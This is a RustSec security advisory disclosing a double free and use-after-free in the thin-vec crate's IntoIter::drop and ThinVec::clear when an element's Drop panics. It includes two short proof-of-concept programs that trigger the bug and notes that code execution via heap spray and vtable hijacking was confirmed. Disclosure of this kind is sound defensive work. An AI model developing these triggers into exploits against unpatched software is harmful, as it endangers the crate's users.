RUSTSEC-2026-0103: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

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Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

Details
Package	thin-vec
Version	0.2.14
URL	GHSA-xphw-cqx3-667j
Date	2026-04-14
Patched versions	>=0.2.16

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the
IntoIter::drop and ThinVec::clear implementations of the thin_vec crate.
Both vulnerabilities share the same root cause and can trigger memory
corruption using only safe Rust code - no unsafe blocks required. Undefined
Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

When a panic occurs during sequential element deallocation, the subsequent
length cleanup code (set_len(0)) is never executed. During stack unwinding,
the container is dropped again, causing already-freed memory to be re-freed
(Double Free / UAF).

Vulnerability 1 - IntoIter::drop

IntoIter::drop transfers ownership of the internal buffer via mem::replace,
then sequentially frees elements via ptr::drop_in_place. If a panic occurs
during element deallocation, set_len_non_singleton(0) is never reached.
During unwinding, vec is dropped again, re-freeing already-freed elements.
The standard library's std::vec::IntoIter prevents this with a DropGuard
pattern, but thin-vec lacks this defense.

PoC

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Vulnerability 2 - ThinVec::clear

clear() calls ptr::drop_in_place(&mut self[..]) followed by
self.set_len(0) to reset the length. If a panic occurs during element
deallocation, set_len(0) is never executed. When the ThinVec itself is
subsequently dropped, already-freed elements are freed again.

PoC

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Prerequisites

1. ThinVec stores heap-owning types (String, Vec, Box, etc.)
2. (Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or
   (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
3. The Drop implementation of a remaining element triggers a panic

When combined with Box<dyn Trait> types, an exploit primitive enabling
Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been
confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop
is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can
be redirected to attacker-controlled code.

See advisory page for additional details.